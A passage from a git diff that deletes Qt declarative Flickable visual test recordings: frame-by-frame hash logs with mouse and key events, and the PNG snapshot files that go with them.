"05521ca19960c070d5f3dd72c5ade0e4" - } - Frame { - msec: 1664 - hash: "2c68cb3291cf1f892c8b8eb28b409e4d" - } - Frame { - msec: 1680 - hash: "5a0908aea91df2b9e65d222829c2b0ba" - } - Frame { - msec: 1696 - hash: "0d4ff147517eee8b3dbcd51a708b2aa7" - } - Frame { - msec: 1712 - hash: "521e1075de1de89c6e25f469d2728ab7" - } - Frame { - msec: 1728 - hash: "c543447f98ae608058c6c02c8c8665e6" - } - Frame { - msec: 1744 - hash: "ac259db754b7dfb8cce8548527c72e4b" - } - Frame { - msec: 1760 - hash: "bc5b68d5ecfb583ae41001e326b7aa9b" - } - Frame { - msec: 1776 - hash: "e08051cb1ab2d8f979a52dc86411f78f" - } - Frame { - msec: 1792 - hash: "b1746ad9563359f0d70a1aaee62e9bd8" - } - Frame { - msec: 1808 - hash: "5d6bc33ff2857fb8db582362bf7c19c7" - } - Frame { - msec: 1824 - hash: "83f2c3a7124f9be4dbe883a27ca7df8e" - } - Frame { - msec: 1840 - hash: "189f7cfb5ede1f8380b1a05b7e3d942e" - } - Frame { - msec: 1856 - hash: "07b1a4e5ca156e6aa1f3e76b825807ce" - } - Frame { - msec: 1872 - hash: "48b25f0acfe6eb3bc2cb9eb16e6595d0" - } - Frame { - msec: 1888 - hash: "15ae05f5ed098021073c4593587949ea" - } - Frame { - msec: 1904 - hash: "b300f2c75f4aebcf84ed37ad424ca9fa" - } - Frame { - msec: 1920 - image: "flickable-horizontal.1.png" - } - Frame { - msec: 1936 - hash: "7d8ea492fb1c664502e95e085896c569" - } - Frame { - msec: 1952 - hash: "7513b077e073d78b387309b56e1fd44c" - } - Frame { - msec: 1968 - hash: "ed1ac5cf6d4b081983a8e16258f431bf" - } - Frame { - msec: 1984 - hash: "fbb31f23ba6e5d02011363abfb4b3f18" - } - Frame { - msec: 2000 - hash: "6f01df424b38036b9921b4ee1491a1c1" - } - Frame { - msec: 2016 - hash: "11f706dfacbec5c0be0c2f3c5442f717" - } - Frame { - msec: 2032 - hash: "0a70348986f4987f43db3e55af63fca5" - } - Frame { - msec: 2048 - hash: "6f8b7aaad846f83c6349836d7af34662" - } - Frame { - msec: 2064 - hash: "44723b22aad6d2d814e074ff9324f3c4" - } - Frame { - msec: 2080 - hash: "44723b22aad6d2d814e074ff9324f3c4" - } - Frame { - msec: 2096 - hash: "44723b22aad6d2d814e074ff9324f3c4" - } - Frame { - msec: 2112 - hash: "1c12d2c68223324f040b7a693cef2074" - } - Frame { - msec: 2128 - hash: "0a70348986f4987f43db3e55af63fca5" - } - Frame { - msec: 2144 - hash: "bf4de7baf2730cdaf83887d50d577986" - } - Frame { - msec: 2160 - hash: "23ddb2c0793d7161a0d8c5b2a777dceb" - } - Frame { - msec: 2176 - hash: "7513b077e073d78b387309b56e1fd44c" - } - Frame { - msec: 2192 - hash: "83fa82362057466dff6a243a95d423db" - } - Frame { - msec: 2208 - hash: "0e60b632ce511109cb01d2e5ff6945f8" - } - Frame { - msec: 2224 - hash: "78c25194827c4243a16807491f798cdf" - } - Frame { - msec: 2240 - hash: "4c9dc46794d4a32e654395bb9d78409e" - } - Frame { - msec: 2256 - hash: "e996d4f3a0b3a4a4ed29ec23a1ad5615" - } - Frame { - msec: 2272 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2288 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2304 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2320 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2336 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2352 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2368 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2384 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2400 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2416 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2432 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2448 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2464 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2480 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2496 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2512 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2528 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2544 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2560 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2576 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2592 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2608 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2624 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2640 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2656 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2672 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2688 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2704 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2720 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2736 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2752 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2768 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 152; y: 189 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2784 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2800 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Frame { - msec: 2816 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 190 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2832 - hash: "cd6770afe63f28517a93f0961cf9c26e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 169; y: 191 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2848 - hash: "edd015434d7ead96c03a51a2b1c9e527" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 202; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2864 - hash: "ea0eda505daea4171e27aac358aa6a4a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 256; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "flickable-horizontal.2.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 331; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2896 - hash: "34f70dfe1c226e63300112aa9a4a6968" - } - Frame { - msec: 2912 - hash: "34f70dfe1c226e63300112aa9a4a6968" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 395; y: 194 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 395; y: 194 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2928 - hash: "dd61e0ae58d7a344908a10bb97cfcb39" - } - Frame { - msec: 2944 - hash: "14a384c4bdd3e89808761d1e86976170" - } - Frame { - msec: 2960 - hash: "0e82a4920a53239f117448cd0e0b27f2" - } - Frame { - msec: 2976 - hash: "711e29bf6fbbeb7882064adb0619f4ac" - } - Frame { - msec: 2992 - hash: "43307cbfe1688daf300fafc8df0082b8" - } - Frame { - msec: 3008 - hash: "46d788d926c03d85a68b66252e73ae90" - } - Frame { - msec: 3024 - hash: "a0042935ad2d5557c906050d4a3581c9" - } - Frame { - msec: 3040 - hash: "b618a40490ca0aea310f08b452fa8c68" - } - Frame { - msec: 3056 - hash: "e2aaad7f160a6d77dd788c76bb8cb8a7" - } - Frame { - msec: 3072 - hash: "ab5c27fa790c67a6678db0bbae1ae477" - } - Frame { - msec: 3088 - hash: "b43ed7af838cd6edd32393fc56cf8fb1" - } - Frame { - msec: 3104 - hash: "88ac50602c9f27fb5b882ad32d14ff46" - } - Frame { - msec: 3120 - hash: "259af2e080ed93e16cb633fa940c7c08" - } - Frame { - msec: 3136 - hash: "d05bec2351068d552b7bbbf47cf82fad" - } - Frame { - msec: 3152 - hash: "5354b8e07f1ed22950687187ee7a0290" - } - Frame { - msec: 3168 - hash: "3bfaaef12ca852421ad179d8598a306d" - } - Frame { - msec: 3184 - hash: "40d3a77fce7a9a9ca7ae6023fc4cfc10" - } - Frame { - msec: 3200 - hash: "5837c0122aa6b28518f1b7043ead99a9" - } - Frame { - msec: 3216 - hash: "9514d8530275e4642810ac441e8de353" - } - Frame { - msec: 3232 - hash: "3b720882f52340549d8e1b9659443461" - } - Frame { - msec: 3248 - hash: "4de5b95c8f4949a4f1ee9a119940e80a" - } - Frame { - msec: 3264 - hash: "a35097c00483e0b481222e4ad220c7a4" - } - Frame { - msec: 3280 - hash: "82ac348a63a4e358a877a2e45d48e2b1" - } - Frame { - msec: 3296 - hash: "1322108409d1fa87d128f0c44c81ab4b" - } - Frame { - msec: 3312 - hash: "f6b030effcca891ab20073f106b22d73" - } - Frame { - msec: 3328 - hash: "a7ccd998ac2ff2777d9423d704ddef48" - } - Frame { - msec: 3344 - hash: "b6d971a4f3321b7f3632e778ce733589" - } - Frame { - msec: 3360 - hash: "b6d971a4f3321b7f3632e778ce733589" - } - Frame { - msec: 3376 - hash: "b6d971a4f3321b7f3632e778ce733589" - } - Frame { - msec: 3392 - hash: "82ef6700a513e39508fb6de5ef07f1e7" - } - Frame { - msec: 3408 - hash: "9e4c4d479bc0b1a61566eae12416bea6" - } - Frame { - msec: 3424 - hash: "f6b030effcca891ab20073f106b22d73" - } - Frame { - msec: 3440 - hash: "8968acd022a9ba6fcc3ea52bdd7268c4" - } - Frame { - msec: 3456 - hash: "de8f1a1fd680af475173d5f81e85b26c" - } - Frame { - msec: 3472 - hash: "82e8c0c7cb7c2b1e8d7a5fc019533e6b" - } - Frame { - msec: 3488 - hash: "f820d250252cd910af97e5c9be181457" - } - Frame { - msec: 3504 - hash: "a40558c1fbf328d3c891b473b2454020" - } - Frame { - msec: 3520 - hash: "0ef9e64bad67670102e1e4d9ef0e96f3" - } - Frame { - msec: 3536 - hash: "1d8013765ac2d3fe09ccaa6db098a208" - } - Frame { - msec: 3552 - hash: "1d8013765ac2d3fe09ccaa6db098a208" - } - Frame { - msec: 3568 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3584 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3600 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3616 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3632 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3648 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3664 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3680 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3696 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3712 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3728 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3744 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3760 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3776 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3792 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3808 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3824 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3840 - image: "flickable-horizontal.3.png" - } - Frame { - msec: 3856 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3872 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3888 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3904 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3920 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3936 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3952 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3968 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 3984 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4000 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4016 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4032 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4048 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4064 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4080 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4096 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4112 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4128 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4144 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4160 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4176 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4192 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4208 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4224 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4240 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } - Frame { - msec: 4256 - hash: "0fa60818532d1e5c20cd82ce3d61e3f7" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.0.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.0.png deleted file mode 100644 index 18fef53..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.1.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.1.png deleted file mode 100644 index 18fef53..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.10.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.10.png deleted file mode 100644 index b352c68..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.11.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.11.png deleted file mode 100644 index ce7ee68..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.11.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.12.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.12.png deleted file mode 100644 index d8cdacf..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.12.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.13.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.13.png deleted file mode 100644 index 0c2fa7b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.13.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.14.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.14.png deleted file mode 100644 index e9b3028..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.14.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.15.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.15.png deleted file mode 100644 index 2186a8b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.15.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.16.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.16.png deleted file mode 100644 index b4590af..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.16.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.17.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.17.png deleted file mode 100644 index fe29f19..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.17.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.18.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.18.png deleted file mode 100644 index fe29f19..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.18.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.19.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.19.png deleted file mode 100644 index 4f8587f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.19.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.2.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.2.png deleted file mode 100644 index 0a7cc03..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.20.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.20.png deleted file mode 100644 index 4f8587f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.20.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.21.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.21.png deleted file mode 100644 index c0b0bdf..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.21.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.22.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.22.png deleted file mode 100644 index 4168c3b..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.22.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.23.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.23.png deleted file mode 100644 index 18fef53..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.23.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.24.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.24.png deleted file mode 100644 index e69de29..0000000 diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.3.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.3.png deleted file mode 100644 index fc6669d..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.4.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.4.png deleted file mode 100644 index c0b0bdf..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.5.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.5.png deleted file mode 100644 index 2ffa96e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.6.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.6.png deleted file mode 100644 index f550b89..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.7.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.7.png deleted file mode 100644 index f550b89..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.8.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.8.png deleted file mode 100644 index f550b89..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.9.png b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.9.png deleted file mode 100644 index f550b89..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.qml b/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.qml deleted file mode 100644 index db70298..0000000 --- a/tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.qml +++ /dev/null @@ -1,7037 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 32 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 48 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 64 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 80 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 96 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 112 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 128 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 144 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 160 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 176 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 192 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 208 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 224 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 240 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 256 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 272 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 288 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 304 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 320 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 336 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 352 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 368 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 384 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 400 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 416 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 432 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 448 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 464 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 480 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 496 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 512 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 528 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 544 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 560 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 576 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 592 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 608 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 624 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 640 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 656 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 672 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 688 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 704 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 720 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 736 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 752 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 768 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 784 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 800 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 816 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 832 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 848 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 864 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 880 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 896 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 912 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 928 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 944 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 960 - image: "flickable-vertical.0.png" - } - Frame { - msec: 976 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 992 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1008 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1024 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1040 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1056 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1072 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1088 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1104 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1120 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1136 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1152 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1168 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1184 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1200 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1216 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1232 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1248 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1264 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1280 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1296 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1312 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1328 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1344 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1360 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1376 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1392 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1408 - hash: "8443c45791c906a9fe23831844f48a1c" - } - Frame { - msec: 1424 - hash: "8443c45791c906a9fe23831844f48a1c" - } - 